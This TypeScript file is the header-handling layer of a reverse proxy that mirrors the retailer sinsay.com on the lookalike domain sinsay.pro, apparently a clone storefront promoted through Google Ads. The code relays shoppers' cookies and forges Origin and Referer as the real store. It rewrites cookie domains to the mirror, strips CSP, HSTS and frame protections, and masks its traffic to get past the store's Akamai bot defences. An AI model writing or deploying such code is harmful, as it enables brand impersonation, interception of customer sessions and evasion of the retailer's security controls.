import { config } from '../config';
import { isBot } from '../security/botDetector';
import { applyRewrites } from './rewrite';

export interface MirrorHeaderContext {
  mirrorOrigin: string;
  mirrorDomain: string;
  requestOrigin?: string;
}

/** Safe UA for upstream fetches from datacenter/proxy egress. */
const UPSTREAM_BROWSER_UA = 'Mozilla/5.0';

function normalizeUpstreamUserAgent(
  incomingHeaders: Record<string, string | string[] | undefined>,
): string {
  // When egress goes through the shared proxy pool, Akamai may block detailed
  // Chrome-like fingerprints from datacenter IPs. Keep UA minimal and stable.
  if (config.proxyPool.enabled && config.proxyPool.urls.length > 0) {
    return UPSTREAM_BROWSER_UA;
  }
  const raw = incomingHeaders['user-agent'];
  const ua = Array.isArray(raw) ? raw.join(' ') : String(raw ?? '');
  // Origin WAFs (Akamai) reject bot UAs from datacenter IPs — e.g. Google Ads
  // crawls sinsay.pro with AdsBot-Google, we must not forward that UA upstream.
  if (!ua || isBot(ua)) return UPSTREAM_BROWSER_UA;
  return ua;
}

/** Headers we never forward to the upstream */
const HOP_BY_HOP = new Set([
  'connection',
  'keep-alive',
  'proxy-authenticate',
  'proxy-authorization',
  'te',
  'trailers',
  'transfer-encoding',
  'upgrade',
  'host', // we set our own
  'content-length', // undici will set this from the actual body length
  'expect',
]);

/** Security/policy headers from upstream we remove so the proxy page works */
const STRIP_RESPONSE_HEADERS = new Set([
  'content-security-policy',
  'content-security-policy-report-only',
  'strict-transport-security',
  'report-to',
  'nel',
  'x-frame-options',
  'x-content-type-options',
  'permissions-policy',
  'cross-origin-opener-policy',
  'cross-origin-resource-policy',
  'cross-origin-embedder-policy',
]);

/**
 * Hop-by-hop response headers (RFC 7230 §6.1) — must be stripped when re-emitting.
 * Critical: keeping `transfer-encoding: chunked` together with the new
 * `content-length` Fastify sets from our buffered body triggers nginx
 * to abort with `upstream sent "Content-Length" and "Transfer-Encoding"`
 * and surface a 502 to the client (Cloudflare 502 in browser).
 */
const HOP_BY_HOP_RESPONSE = new Set([
  'connection',
  'keep-alive',
  'proxy-authenticate',
  'proxy-authorization',
  'te',
  'trailer',
  'trailers',
  'transfer-encoding',
  'upgrade',
]);

/**
 * Build the request headers to send to the upstream.
 * Forwards most client headers, overrides Host, removes hop-by-hop.
 */
export interface BuildUpstreamHeadersOptions {
  /** Forward visitor cookies (frontend, PHPSESSID, fastend Akamai, etc.) — required for cart gRPC. */
  preserveClientCookies?: boolean;
}

export function buildUpstreamHeaders(
  incomingHeaders: Record<string, string | string[] | undefined>,
  targetHost: string,
  options?: BuildUpstreamHeadersOptions,
): Record<string, string> {
  const out: Record<string, string> = {};

  for (const [k, v] of Object.entries(incomingHeaders)) {
    const key = k.toLowerCase();
    if (HOP_BY_HOP.has(key)) continue;
    // Skip our own internal cookies/headers
    if (key === 'cookie') continue; // handled separately
    if (key === 'origin') continue;
    if (key === 'referer') continue;
    if (key === 'sec-fetch-site') continue;
    if (key === 'x-forwarded-for') continue;
    if (key === 'x-real-ip') continue;
    // Force locale upstream — we always serve Polish content
    if (key === 'accept-language') continue;
    if (v !== undefined) {
      out[key] = Array.isArray(v) ? v.join(', ') : v;
    }
  }

  out['host'] = targetHost;
  out['x-forwarded-proto'] = 'https';
  out['origin'] = 'https://www.sinsay.com';
  out['referer'] = 'https://www.sinsay.com/pl/pl/';
  // Force uncompressed responses so we can rewrite the body without manual decoding.
  out['accept-encoding'] = 'identity';
  // Force Polish locale regardless of visitor IP / browser language
  out['accept-language'] = 'pl-PL,pl;q=0.9';

  const localeCookieNames = new Set([
    'store',
    'NEXT_LOCALE',
    'lang',
    'language',
    'frontend_lang',
    'country',
    'mage-translation-storage',
    'mage-translation-file-version',
  ]);
  const stripMirrorCookies = (pairs: string[]): string[] =>
    pairs.filter((c) => {
      const name = c.split('=')[0]?.trim() ?? '';
      if (name === config.session.cookieName || name === config.session.visitorCookieName) return false;
      if (!options?.preserveClientCookies && localeCookieNames.has(name)) return false;
      return true;
    });

  const incomingCookies = (() => {
    const raw = incomingHeaders['cookie'];
    if (!raw) return [] as string[];
    const cookie = Array.isArray(raw) ? raw.join('; ') : raw;
    return stripMirrorCookies(cookie.split(/;\s*/).filter(Boolean));
  })();

  if (options?.preserveClientCookies) {
    const pinned = ['store=pl_pl', 'NEXT_LOCALE=pl', 'lang=pl_pl'];
    for (const p of pinned) {
      const name = p.split('=')[0] ?? '';
      if (!incomingCookies.some((c) => c.startsWith(`${name}=`))) incomingCookies.push(p);
    }
  } else {
    incomingCookies.push('store=pl_pl', 'NEXT_LOCALE=pl', 'lang=pl_pl');
  }
  if (incomingCookies.length) out['cookie'] = incomingCookies.join('; ');
  out['user-agent'] = normalizeUpstreamUserAgent(incomingHeaders);

  return out;
}

/**
 * Process response headers coming from upstream:
 * - Strip security/policy headers that break proxy
 * - Rewrite Set-Cookie domain to our domain
 * - Remove content-encoding (we decode + re-encode)
 * - Remove content-length (body may change after rewriting)
 */
function rewriteMirrorLocation(
  value: string,
  mirror: MirrorHeaderContext,
): string {
  return applyRewrites(value, {
    origin: mirror.mirrorOrigin,
    domain: mirror.mirrorDomain,
  });
}

export function processResponseHeaders(
  headers: Record<string, string | string[] | undefined>,
  mirror?: MirrorHeaderContext,
): Record<string, string | string[]> {
  const out = sanitizeUpstreamHeaders(headers);
  if (!mirror) return out;

  const allowOrigin = mirror.requestOrigin || mirror.mirrorOrigin;
  if (out['access-control-allow-origin'] !== undefined) {
    out['access-control-allow-origin'] = allowOrigin;
  }

  if (out.location !== undefined) {
    const raw = out.location;
    if (Array.isArray(raw)) {
      out.location = raw.map((v) => rewriteMirrorLocation(String(v), mirror));
    } else {
      out.location = rewriteMirrorLocation(String(raw), mirror);
    }
  }

  return out;
}

/**
 * Shared helper: sanitize upstream response headers before re-emitting them to
 * the client. Strips security/policy headers, hop-by-hop headers, and framing
 * headers (`content-length`, `content-encoding`, `transfer-encoding`) so that
 * Fastify/Node can re-derive a consistent framing for the buffered body we
 * actually send.
 */
export function sanitizeUpstreamHeaders(
  headers: Record<string, string | string[] | undefined>,
): Record<string, string | string[]> {
  const out: Record<string, string | string[]> = {};

  for (const [k, v] of Object.entries(headers)) {
    const key = k.toLowerCase();

    if (STRIP_RESPONSE_HEADERS.has(key)) continue;
    if (HOP_BY_HOP_RESPONSE.has(key)) continue; // includes transfer-encoding
    if (key === 'content-length') continue; // body may change after rewriting; Fastify re-derives
    if (key === 'content-encoding') continue; // undici auto-decodes

    if (key === 'set-cookie') {
      const cookies = Array.isArray(v) ? v : [v as string];
      out[key] = cookies.map((c) => rewriteSetCookie(c));
      continue;
    }

    if (v !== undefined) out[key] = v;
  }

  return out;
}

/** Cookie Domain attribute must not include a port (RFC 6265). */
function mirrorCookieDomain(): string {
  const host = config.domain.split(':')[0] ?? config.domain;
  return host;
}

function rewriteSetCookie(cookie: string): string {
  return cookie
    .split(/;\s*/)
    .map((part, idx) => {
      if (idx === 0) return part; // name=value, keep as-is
      const lower = part.toLowerCase().trim();
      if (lower.startsWith('domain=')) {
        return `Domain=${mirrorCookieDomain()}`;
      }
      if (lower === 'secure' && config.origin.startsWith('http://')) {
        return ''; // drop Secure on HTTP (dev)
      }
      return part;
    })
    .filter(Boolean)
    .join('; ');
}
